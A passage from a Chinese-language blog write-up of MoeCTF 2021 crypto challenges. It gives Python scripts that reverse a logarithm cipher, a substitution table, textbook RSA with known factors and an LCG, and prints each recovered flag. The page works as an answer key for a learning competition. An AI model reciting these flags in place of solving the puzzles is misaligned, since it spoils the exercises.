



<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#FFF">
  <link rel="apple-touch-icon" sizes="180x180" href="/imageshttps:/cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main/blog-img/7b8cfd64db3c412194fc64cb710e594b.jpeg">

<link rel="icon" type="image/ico" sizes="32x32" href="/images/favicon.ico">
  <meta http-equiv="Cache-Control" content="no-transform">
  <meta http-equiv="Cache-Control" content="no-siteapp">


<link rel="alternate" type="application/rss+xml" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/rss.xml" />
<link rel="alternate" type="application/atom+xml" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/atom.xml" />
<link rel="alternate" type="application/json" title="Canary's Blog" href="https://zephyr-cyber.github.io.git/feed.json" />
<link rel="alternate" type="application/json" title="Canary's Blog" href="https://cdn.jsdelivr.net/npm/font-awesome/css/font-awesome.min.css" />
<script src="/js/live2d-widget/autoload.js?v=0.2.5"></script>

<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Mulish:300,300italic,400,400italic,700,700italic%7CFredericka%20the%20Great:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20JP:300,300italic,400,400italic,700,700italic%7CNoto%20Serif%20SC:300,300italic,400,400italic,700,700italic%7CInconsolata:300,300italic,400,400italic,700,700italic&display=swap&subset=latin,latin-ext">

<link rel="stylesheet" href="/css/app.css?v=0.2.5">

  
  <meta name="keywords" content="CTF,Reverse,Misc,Web" />


<link rel="canonical" href="https://zephyr-cyber.github.io.git/moeCTF_2021%E9%A2%98%E8%A7%A3/">



  <title>
MoeCTF_2021 题解 - computer-science |
Canary = Canary's Blog</title>
<meta name="generator" content="Hexo 5.4.0"></head>
<body itemscope itemtype="http://schema.org/WebPage">
  <div id="loading">
    <div class="cat">
      <div class="body"></div>
      <div class="head">
        <div class="face"></div>
      </div>
      <div class="foot">
        <div class="tummy-end"></div>
        <div class="bottom"></div>
        <div class="legs left"></div>
        <div class="legs right"></div>
      </div>
      <div class="paw">
        <div class="hands left"></div>
        <div class="hands right"></div>
      </div>
    </div>
  </div>
  <div id="container">
    <header id="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="inner">
        <div id="brand">
          <div class="pjax">
          
  <h1 itemprop="name headline">MoeCTF_2021 题解
  </h1>
  
<div class="meta">
  <span class="item" title="Created: 2021-12-15 13:19:59">
    <span class="icon">
      <i class="ic i-calendar"></i>
    </span>
    <span class="text">Posted on</span>
    <time itemprop="dateCreated datePublished" datetime="2021-12-15T13:19:59+08:00">2021-12-15</time>
  </span>
  <span class="item" title="Symbols count in article">
    <span class="icon">
      <i class="ic i-pen"></i>
    </span>
    <span class="text">Symbols count in article</span>
    <span>34k</span>
    <span class="text">words</span>
  </span>
  <span class="item" title="Reading time">
    <span class="icon">
      <i class="ic i-clock"></i>
    </span>
    <span class="text">Reading time</span>
    <span>31 mins.</span>
  </span>
</div>


          </div>
        </div>
        <nav id="nav">
  <div class="inner">
    <div class="toggle">
      <div class="lines" aria-label="Toggle navigation bar">
        <span class="line"></span>
        <span class="line"></span>
        <span class="line"></span>
      </div>
    </div>
    <ul class="menu">
      <li class="item title"><a href="/" rel="start">Canary</a></li>
    </ul>
    <ul class="right">
      <li class="item theme">
        <i class="ic i-sun"></i>
      </li>
      <li class="item search">
        <i class="ic i-search"></i>
      </li>
    </ul>
  </div>
</nav>

      </div>
      <div id="imgs" class="pjax">
        <ul>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/54305-projectSEKAI-AsahinaMafuyu-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/pic6.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/51224-projectSEKAI-KiritaniHaruka-PC-Wallpaper.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/44760-imas-cinderella-MorikuboNono-PC.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/43487-Imouto_sae_Irebaii-PC.jpg"></li>
          <li class="item" data-background-image="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/54167-BanG_Dream-MinatoYukina-PC-Wallpaper.jpg"></li>
        </ul>
      </div>
    </header>
    <div id="waves">
      <svg class="waves" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 24 150 28" preserveAspectRatio="none" shape-rendering="auto">
        <defs>
          <path id="gentle-wave" d="M-160 44c30 0 58-18 88-18s 58 18 88 18 58-18 88-18 58 18 88 18 v44h-352z" />
        </defs>
        <g class="parallax">
          <use xlink:href="#gentle-wave" x="48" y="0" />
          <use xlink:href="#gentle-wave" x="48" y="3" />
          <use xlink:href="#gentle-wave" x="48" y="5" />
          <use xlink:href="#gentle-wave" x="48" y="7" />
        </g>
      </svg>
    </div>
    <main>
      <div class="inner">
        <div id="main" class="pjax">
          
  <div class="article wrap">
    
<div class="breadcrumb" itemscope itemtype="https://schema.org/BreadcrumbList">
<i class="ic i-home"></i>
<span><a href="/">Home</a></span><i class="ic i-angle-right"></i>
<span  class="current" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem"><a href="/categories/computer-science/" itemprop="item" rel="index" title="In computer-science"><span itemprop="name">computer-science</span></a>
<meta itemprop="position" content="1" /></span>
</div>

    <article itemscope itemtype="http://schema.org/Article" class="post block" lang="en">
  <link itemprop="mainEntityOfPage" href="https://zephyr-cyber.github.io.git/moeCTF_2021%E9%A2%98%E8%A7%A3/">

  <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
    <meta itemprop="image" content="https://cdn.jsdelivr.net/gh/zephyr-cyber/Blog-Gallery@main//blog-img/16f8bec9f7fbb60bf0c3a1d2fa12affd.jpeg">
    <meta itemprop="name" content="cheuncey Zhang">
    <meta itemprop="description" content="我用回忆温暖了想你的每一刻, 刻意练习">
  </span>

  <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
    <meta itemprop="name" content="Canary's Blog">
  </span>

  <div class="body md" itemprop="articleBody">
    

    <h1 id="crypto"><a class="anchor" href="#crypto">#</a> Crypto</h1>
<h2 id="beginofcrypto"><a class="anchor" href="#beginofcrypto">#</a> <em><strong>beginOfCrypto</strong></em></h2>
<blockquote>
<blockquote>
<p>看一下代码～<br />
ord 是把 flag 的每一个字符转成数字，map 则是一个用来迭代的函数，也就是对 flag 里的每一个字符 ord，list 转成列表之后存进 data 列表里。之后的 for 循环把 data 列表里的数字取 e 的指数，并把结果存在 cip 列表里。<br />
知道加密过程之后就很简单了～我们只需要把 cip 取 e 的对数，然后转成字符输出就可以了～<s>第一题真是很温柔呢</s></p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> math</pre></td></tr><tr><td data-num="2"></td><td><pre>cip<span class="token operator">=</span><span class="token punctuation">[</span><span class="token number">2.178203880729008e+47</span><span class="token punctuation">,</span> <span class="token number">1.6094870669615087e+48</span><span class="token punctuation">,</span> <span class="token number">7.307059979368028e+43</span><span class="token punctuation">,</span> <span class="token number">9.889030319346894e+42</span><span class="token punctuation">,</span> <span class="token number">2.3886906014249767e+50</span><span class="token punctuation">,</span> <span class="token number">1.9862648361376436e+44</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="3"></td><td><pre> <span class="token number">2.6195173187490456e+53</span><span class="token punctuation">,</span> <span class="token number">9.889030319346894e+42</span><span class="token punctuation">,</span> <span class="token number">7.016735912097614e+20</span><span class="token punctuation">,</span> <span class="token number">2.178203880729008e+47</span><span class="token punctuation">,</span> <span class="token number">7.307059979368028e+43</span><span class="token punctuation">,</span> <span class="token number">1.811239082889014e+41</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="4"></td><td><pre> <span class="token number">1.6094870669615087e+48</span><span class="token punctuation">,</span> <span class="token number">5.920972027664636e+47</span><span class="token punctuation">,</span> <span class="token number">214643579785915.7</span><span class="token punctuation">,</span> <span class="token number">3.6379709476087856e+42</span><span class="token punctuation">,</span> <span class="token number">7.307059979368028e+43</span><span class="token punctuation">,</span> <span class="token number">5.399227610580139e+44</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="5"></td><td><pre> <span class="token number">3.989519570547194e+45</span><span class="token punctuation">,</span> <span class="token number">5.920972027664636e+47</span><span class="token punctuation">,</span> <span class="token number">1.811239082889014e+41</span><span class="token punctuation">,</span> <span class="token number">3.5451311827611436e+52</span><span class="token punctuation">,</span> <span class="token number">1.6094870669615087e+48</span><span class="token punctuation">,</span> <span class="token number">6.493134255664421e+50</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="6"></td><td><pre> <span class="token number">3.23274119108484e+49</span><span class="token punctuation">,</span> <span class="token number">1.811239082889014e+41</span><span class="token punctuation">,</span> <span class="token number">1.2523631708422093e+29</span><span class="token punctuation">,</span> <span class="token number">3.23274119108484e+49</span><span class="token punctuation">,</span> <span class="token number">3.5451311827611436e+52</span><span class="token punctuation">,</span> <span class="token number">4.375039447261315e+48</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="7"></td><td><pre> <span class="token number">2.3886906014249767e+50</span><span class="token punctuation">,</span> <span class="token number">7.016735912097614e+20</span><span class="token punctuation">,</span> <span class="token number">1.811239082889014e+41</span><span class="token punctuation">,</span> <span class="token number">9.889030319346894e+42</span><span class="token punctuation">,</span> <span class="token number">3.831008000716566e+22</span><span class="token punctuation">,</span> <span class="token number">3.23274119108484e+49</span><span class="token punctuation">,</span></pre></td></tr><tr><td data-num="8"></td><td><pre> <span class="token number">1.4093490824269349e+22</span><span class="token punctuation">,</span> <span class="token number">1.4093490824269349e+22</span><span class="token punctuation">,</span> <span class="token number">3.23274119108484e+49</span><span class="token punctuation">,</span> <span class="token number">1.9355760420357097e+54</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="9"></td><td><pre>flag<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span></pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>cip<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">:</span></pre></td></tr><tr><td data-num="11"></td><td><pre>    flag<span class="token punctuation">.</span>append<span class="token punctuation">(</span>math<span class="token punctuation">.</span>log<span class="token punctuation">(</span>cip<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span>math<span class="token punctuation">.</span>e<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="12"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> flag<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="13"></td><td><pre>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="14"></td><td><pre><span class="token comment">#moectf&#123;c0me_on!begin_your_Crypt0_c4r33r&#125;</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>BabyMultiple</strong></em></p>
<blockquote>
<p>看代码，大概意思就是把 flag 用 encode 函数进行了一次加密。跟第一题一样，逆向去写解密脚本就好了～<br />
<s> 不过由于懒得动脑子了，</s> 可以观察一下，这个题是属于单字符加密，也就是一个明文字符对应一个确定的密文字符，所以我们可以直接把所有字符的加密结果都打印出来，然后在里边找我们需要的字符就好了。<br />
这里我把所有字符的加密后结果放在 cyberlist 里。</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre>table <span class="token operator">=</span> <span class="token string">'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'</span></pre></td></tr><tr><td data-num="2"></td><td><pre>cyberlist<span class="token operator">=</span><span class="token builtin">list</span><span class="token punctuation">(</span><span class="token string">"a61WRMHCxsnid94ZUPKFAvqlgb72XSNIDytoje_50VQLGBwrmhc83YTOJEzupkf"</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="3"></td><td><pre>flag<span class="token operator">=</span><span class="token string">'g3AfJPOfHPOJFfJuf_AYux1JFx39'</span></pre></td></tr><tr><td data-num="4"></td><td><pre><span class="token keyword">for</span> i <span class="token keyword">in</span> flag<span class="token punctuation">:</span></pre></td></tr><tr><td data-num="5"></td><td><pre>    j<span class="token operator">=</span>cyberlist<span class="token punctuation">.</span>index<span class="token punctuation">(</span>i<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="6"></td><td><pre>    <span class="token keyword">print</span><span class="token punctuation">(</span>table<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">,</span>end<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="7"></td><td><pre><span class="token comment">#y0u_4r3_gr34t_47_Mu17ic4ti0n</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>LazyRSA</strong></em></p>
<blockquote>
<p>一个简单的 RSA 加密<br />
求 (p-1)*(q-1) 的逆元可以用 gmpy2 库的 invert，然后 pow 一下就好了<br />
<s> by the way: 这两个库真难装・・・・・・</s></p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span><span class="token operator">*</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="3"></td><td><pre>p <span class="token operator">=</span>  <span class="token number">7049120988661090136959367990211624032671088374397430253722914704672269343351268486642692858477617370573493581346846411168539408811542592351582581576539221</span></pre></td></tr><tr><td data-num="4"></td><td><pre>q <span class="token operator">=</span>  <span class="token number">11595461299251293002401295606096202123601375776115430944343338141843770078346355504245510150744085418550473572002573306023521368183889972175846278163010889</span></pre></td></tr><tr><td data-num="5"></td><td><pre>c <span class="token operator">=</span>  <span class="token number">48425576447741107904942007362859939933300480519833273210397511573241220126734053813936424490872852942885069257318462762079636783871415500644717758273774268724488497979368196170897933989184449432995120246590652553995031347596620505647525475638040859263109628716173897321613612254357251120398449111747305089380</span></pre></td></tr><tr><td data-num="6"></td><td><pre>e <span class="token operator">=</span> <span class="token number">0x10001</span></pre></td></tr><tr><td data-num="7"></td><td><pre>flag<span class="token operator">=</span><span class="token builtin">pow</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>e<span class="token punctuation">,</span><span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>q<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>p<span class="token operator">*</span>q<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token comment">#moectf&#123;w0w_yOU_Know_h0w_70_d3crypt_th3_RSA&#125;</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>PRintNewG</strong></em></p>
<blockquote>
<p><s>做的最痛苦的一道题・・・・・・</s><br />
观察一下代码，是要解一个方程组，假设 flag 是 m0 的话，那么就是要解如下方程组：<br />
(am0+b)%n=m1<br />
(am1+b)%n=m2<br />
(am2+b)%n=m3<br />
 这里要了解一下乘法逆元的概念。<br />
方程 ax% n=1, 那么求 x 就叫求 a 关于 n 的乘法逆元。<br />
而对 ay% n=m，求出 a 关于 n 的乘法逆元后再乘以 m 模 n 即可。<br />
此处的 b 可以用两个方程组相减来消去 b，得到如下两个方程：<br />
a(m0-m1)%n=m2-m1<br />
a(m2-m1)%n=m2-m3<br />
 那么就可以直接当成二元方程组求解即可。</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span><span class="token operator">*</span></pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="3"></td><td><pre>n<span class="token operator">=</span><span class="token number">164955381960104851576442781839629371483790790743830073857213053104860144345367</span></pre></td></tr><tr><td data-num="4"></td><td><pre>m1<span class="token operator">=</span><span class="token number">67066424717605861916529090048670931008913194546199003522357504998012803616537</span></pre></td></tr><tr><td data-num="5"></td><td><pre>m2<span class="token operator">=</span><span class="token number">14585402872351563180055857554749250191721167730349724393021149201170995608751</span></pre></td></tr><tr><td data-num="6"></td><td><pre>m3<span class="token operator">=</span><span class="token number">68393939370424772490169906192546208899639826391163845848999554903218827210979</span></pre></td></tr><tr><td data-num="7"></td><td><pre></pre></td></tr><tr><td data-num="8"></td><td><pre>a<span class="token operator">=</span><span class="token punctuation">(</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>m2<span class="token operator">-</span>m1<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>m3<span class="token operator">-</span>m2<span class="token punctuation">)</span><span class="token operator">%</span>n</pre></td></tr><tr><td data-num="9"></td><td><pre>m<span class="token operator">=</span><span class="token punctuation">(</span><span class="token punctuation">(</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>a<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>m1<span class="token operator">-</span>m2<span class="token punctuation">)</span><span class="token operator">+</span>m1<span class="token punctuation">)</span><span class="token operator">%</span>n</pre></td></tr><tr><td data-num="10"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>m<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="11"></td><td><pre><span class="token comment">#moectf&#123;PR1nt_N3w_G_s0_e45y&#125;</span></pre></td></tr></table></figure><blockquote>
<p><em><strong>NumberTheory-FeeeeeMa</strong></em></p>
<blockquote>
<p><s>虽然叫费马，但考的还是 RSA~</s><br />
 扔到 kafu 里分解一下 n：<br />
PRP617 = 19283057560629238193074608948196301223350201847222196402737537143121425317730486716068722286654190001952369093090081343313799571068008460938887101338032695456530086089154736812933510497087528596022484804860301935123425283243570950209590727297843775205178712560791816849702359490660765666544417910788968742654156070723140800392112743461501566752095206321903852202148826414101280864051684149726194087223728037750495558021865046068965219079941837883220009399934492981566439903512479087624251270587165899645259193043162046541946253111129504269329740364176081037121431605940093408252027961675192279921542388792148531562041<br />
PRP617 = 19283057560629238193074608948196301223350201847222196402737537143121425317730486716068722286654190001952369093090081343313799571068008460938887101338032695456530086089154736812933510497087528596022484804860301935123425283243570950209590727297843775205178712560791816849702359490660765666544417910788968742654156070723140800392112743461501566752095206321903852202148826414101280864051684149726194087223728037750495558021865046068965219079941837883220009399934492981566439903512479087624251270587165899645259193043162046541946253111129504269329740364176081037121431605940093408252027961675192279921542388792148531561919<br />
 直接上手：</p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre><span class="token keyword">import</span> gmpy2</pre></td></tr><tr><td data-num="2"></td><td><pre><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> <span class="token operator">*</span></pre></td></tr><tr><td data-num="3"></td><td><pre>e <span class="token operator">=</span> <span class="token number">0x10001</span></pre></td></tr><tr><td data-num="4"></td><td><pre>c<span class="token operator">=</span><span class="token number">5883797662470459824355663245986072888499217007658131616834157815812099907584034205088255553387720712715657503553785084616903197734118992506040765948815581238738585159640841277023597023582148173041980600751980206228524475872232080917683822098342300418744639304147771013376863895727877847094151770079046205501266017838881847833528612089868825489776289686550273385136080255799772961155599801690997753649087689949021276549323525754963020408864310302166537661098308581259246052869844362142747080042122189010627048397501817473817946566885487595098504403459522534124404289032779842658407728856164570059823567667669076044563549721918886430160041337156249733571322684187916005175717585587552966989348534775572282369273898182367851689305440672199427492706130124832744127722533758962606513875787129378871099575729793745175327897215145024490319291830298017471555440811147903390803597635585696411407922981136489077349754222355529320548946411677051716584081079246752768224289803323109047467790868885987703125118276891234633889937243303027095375365791207055516900563280115276282761652663098154769929217653527103304045922204641545963828632051715956492613217136463227530538723452005224696385225174844198627387638874395654771260577791169209134146482</span></pre></td></tr><tr><td data-num="5"></td><td><pre>p<span class="token operator">=</span><span class="token number">19283057560629238193074608948196301223350201847222196402737537143121425317730486716068722286654190001952369093090081343313799571068008460938887101338032695456530086089154736812933510497087528596022484804860301935123425283243570950209590727297843775205178712560791816849702359490660765666544417910788968742654156070723140800392112743461501566752095206321903852202148826414101280864051684149726194087223728037750495558021865046068965219079941837883220009399934492981566439903512479087624251270587165899645259193043162046541946253111129504269329740364176081037121431605940093408252027961675192279921542388792148531562041</span></pre></td></tr><tr><td data-num="6"></td><td><pre>q<span class="token operator">=</span><span class="token number">19283057560629238193074608948196301223350201847222196402737537143121425317730486716068722286654190001952369093090081343313799571068008460938887101338032695456530086089154736812933510497087528596022484804860301935123425283243570950209590727297843775205178712560791816849702359490660765666544417910788968742654156070723140800392112743461501566752095206321903852202148826414101280864051684149726194087223728037750495558021865046068965219079941837883220009399934492981566439903512479087624251270587165899645259193043162046541946253111129504269329740364176081037121431605940093408252027961675192279921542388792148531561919</span></pre></td></tr><tr><td data-num="7"></td><td><pre>flag<span class="token operator">=</span><span class="token builtin">pow</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span>gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>e<span class="token punctuation">,</span><span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>q<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span>p<span class="token operator">*</span>q<span class="token punctuation">)</span></pre></td></tr><tr><td data-num="8"></td><td><pre><span class="token keyword">print</span><span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">)</span></pre></td></tr><tr><td data-num="9"></td><td><pre><span class="token comment">#moectf&#123;y0u_c4n_e4s1ly_f4ctor_th3_N&#125;</span></pre></td></tr></table></figure><blockquote>
<p>BBBBBBBackpack</p>
<blockquote>
<p>不是很懂背包，这个题倒着依次乘一下加回去就好了。<br />
<s>我也不知道什么背包问题？？？</s></p>
</blockquote>
</blockquote>
<figure class="highlight python"><figcaption data-lang="python"><span>n</span></figcaption><table><tr><td data-num="1"></td><td><pre>flag<span class="token operator">=</span><span class="token number">0</span></pre></td></tr><tr><td data-num="2"></td><td><pre>backpack<span class="token operator">=</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">23</span><span class="token punctuation">,</span> <span class="token number">81</span><span class="token punctuation">,</span> <span class="token number">199</span><span class="token punctuation">,</span> <span class="token number">670</span><span class="token punctuation">,</span> <span class="token number">1844</span><span class="token punctuation">,</span> <span class="token number">5535</span><span class="token punctuation">,</span> <span class="token number">19547</span><span class="token punctuation">,</span> <span class="token number">75437</span><span class="token punctuation">,</span> <span class="token number">259056</span><span class="token punctuation">,</span> <span class="token number">974664</span><span class="token punctuation">,</span> <span class="token number">2399609</span><span class="token punctuation">,</span> <span class="token number">7304021</span><span class="token punctuation">,</span> <span class="token number">18537736</span><span class="token punctuation">,</span> <span class="token number">38733276</span><span class="token punctuation">,</span> <span class="token number">143785607</span><span class="token punctuation">,</span> <span class="token number">300890806</span><span class="token punctuation">,</span> <span class="token number">778420517</span><span class="token punctuation">,</span> <span class="token number">3112554961</span><span class="token punctuation">,</span> <span class="token number">9955080778</span><span class="token punctuation">,</span> <span class="token number">34625138877</span><span class="token punctuation">,</span> <span class="token number">103531993246</span><span class="token punctuation">,</span> <span class="token number">294207209833</span><span class="token punctuation">,</span> <span class="token number">632363887456</span><span class="token punctuation">,</span> <span class="token number">2341888528510</span><span class="token punctuation">,</span> <span class="token number">8736224869982</span><span class="token punctuation">,</span> <span class="token number">33727228149167</span><span class="token punctuation">,</span> <span class="token number">113026240109398</span><span class="token punctuation">,</span> <span class="token number">334534210335245</span><span class="token punctuation">,</span> <span class="token number">754812282783351</span><span class="token punctuation">,</span> <span class="token number">2871232541211362</span><span class="token punctuation">,</span> <span class="token number">7147990367228081</span><span class="token punctuation">,</span> <span class="token number">16813142520913249</span><span class="token punctuation">,</span> <span class="token number">62232346665698392</span><span class="token punctuation">,</span> <span class="token number">132813746566508109</span><span class="token punctuation">,</span> <span class="token number">436969187287191174</span><span class="token punctuation">,</span> <span class="token number">1371311321857557068</span><span class="token punctuation">,</span> <span class="token number">3465499917202578303</span><span class="token punctuation">,</span> <span class="token number">10761115866584374884</span><span class="token punctuation">,</span> <span class="token number">25998484366411649657</span><span class="token punctuation">,</span> <span class="token number">81986464388691181616</span><span class="token punctuation">,</span> <span class="token number">324842980726420787162</span><span class="token punctuation">,</span> <span class="token number">1063428202306999892763</span><span class="token punctuation">,</span> <span class="token number">3318046410585817603032</span><span class="token punctuation">,</span> <span class="token number">12569059003729082352479</span><span class="token punctuation">,</span> <span class="token number">29822650425811094387624</span><span class="token punctuation">,</span> <span class="token number">89829868596281155601134</span><span class="token punctuation">,</span> <span class="token number">207467076929560545986692</span><span class="token punctuation">,</span> <span class="token number">424101883375592006882573</span><span class="token punctuation">,</span> <span class="token number">1410057940679583010646572</span><span class="token punctuation">,</span> <span class="token number">4795250448769489602371933</span><span class="token punctuation">,</span> <span class="token number">12419955465903295439689190</span><span class="token punctuation">,</span> <span class="token number">32127052925660652338148413</span><span class="token punctuation">,</span> <span class="token number">121768246803017981541739592</span><span class="token punctuation">,</span> <span class="token number">286293639144639999224246905</span><span class="token punctuation">,</span> <span class="token number">876618562849333372078886060</span><span class="token punctuation">,</span> <span class="token number">3495370549956845610130431964</span><span class="token punctuation">,</span> <span class="token number">13777448384830441398471073019</span><span class="token punctuation">,</span> <span class="token number">45339968634224370226443992856</span><span class="token punctuation">,</span> <span class="token number">159636974047457043534720001443</span><span class="token punctuation">,</span> <span class="token number">403806399587759901542286515690</span><span class="token punctuation">,</span> <span class="token number">1190949464093267805434271517577</span><span class="token punctuation">,</span> <span class="token number">2625636206558220580206955200643</span><span class="token punctuation">,</span> <span class="token number">5447410189447132699195152662348</span><span class="token punctuation">,</span> <span class="token number">13798370097217657917056458399390</span><span class="token punctuation">,</span> <span class="token number">42652195271813913821236091812630</span><span class="token punctuation">,</span> <span class="token number">87624112365004035907264763291796</span><span class="token punctuation">,</span> <span class="token number">295833079631922620770335225824586</span><span class="token punctuation">,</span> <span class="token number">717255284196409248439771704866883</span><span class="token punctuation">,</span> <span class="token number">2119024457898120787521595829459142</span><span class="token punctuation">,</span> <span class="token number">8097762744600097674390735606807128</span><span class="token punctuation">,</span> <span class="token number">22990496332708170421088808438995636</span><span class="token punctuation">,</span> <span class="token number">55268619563994680834441597248247582</span><span class="token punctuation">,</span> <span class="token number">157779112538179073738464223501777499</span><span class="token punctuation">,</span> <span class="token number">553561084981889545670380643023607621</span><span class="token punctuation">,</span> <span class="token number">2094594867042850711386606235023415160</span><span class="token punctuation">,</span> <span class="token number">7427564397983932982484534762285032864</span><span class="token punctuation">,</span> <span class="token number">28541899514275079822011638819911534081</span><span class="token punctuation">,</span> <span class="token number">59854615377110931361953157015440306520</span><span class="token punctuation">,</span> <span class="token number">137071568336121640486639449884477676903</span><span class="token punctuation">,</span> <span class="token number">434368553369190183317274206512577489165</span><span class="token punctuation">,</span> <span class="token number">1607515956833802196435755021284640023303</span><span class="token punctuation">,</span> <span class="token number">4247439813046769661567823675143526066989</span><span class="token punctuation">,</span> <span class="token number">12252982336388472725165513300377051313644</span><span class="token punctuation">,</span> <span class="token number">43586970358791422986656986286232849952290</span><span class="token punctuation">,</span> <span class="token number">94754002216262928157061686798919700234151</span><span class="token punctuation">,</span> <span class="token number">205403633516427560050027271636224615375855</span><span class="token punctuation">,</span> <span class="token number">727922215919878343821825296552148942903123</span><span class="token punctuation">,</span> <span class="token number">1541646353685774868780093433673052445519807</span><span class="token punctuation">,</span> <span class="token number">5703469721749658936787093922654529457118594</span><span class="token punctuation">,</span> <span class="token number">20762100689139896330208273986505541316962105</span><span class="token punctuation">,</span> <span class="token number">80195197197818086812949239946286778357513961</span><span class="token punctuation">,</span> <span class="token number">198522126001869063688321920177617046841212852</span><span class="token punctuation">,</span> <span class="token number">719060816608760633741229682178956301630549900</span><span class="token punctuation">,</span> <span 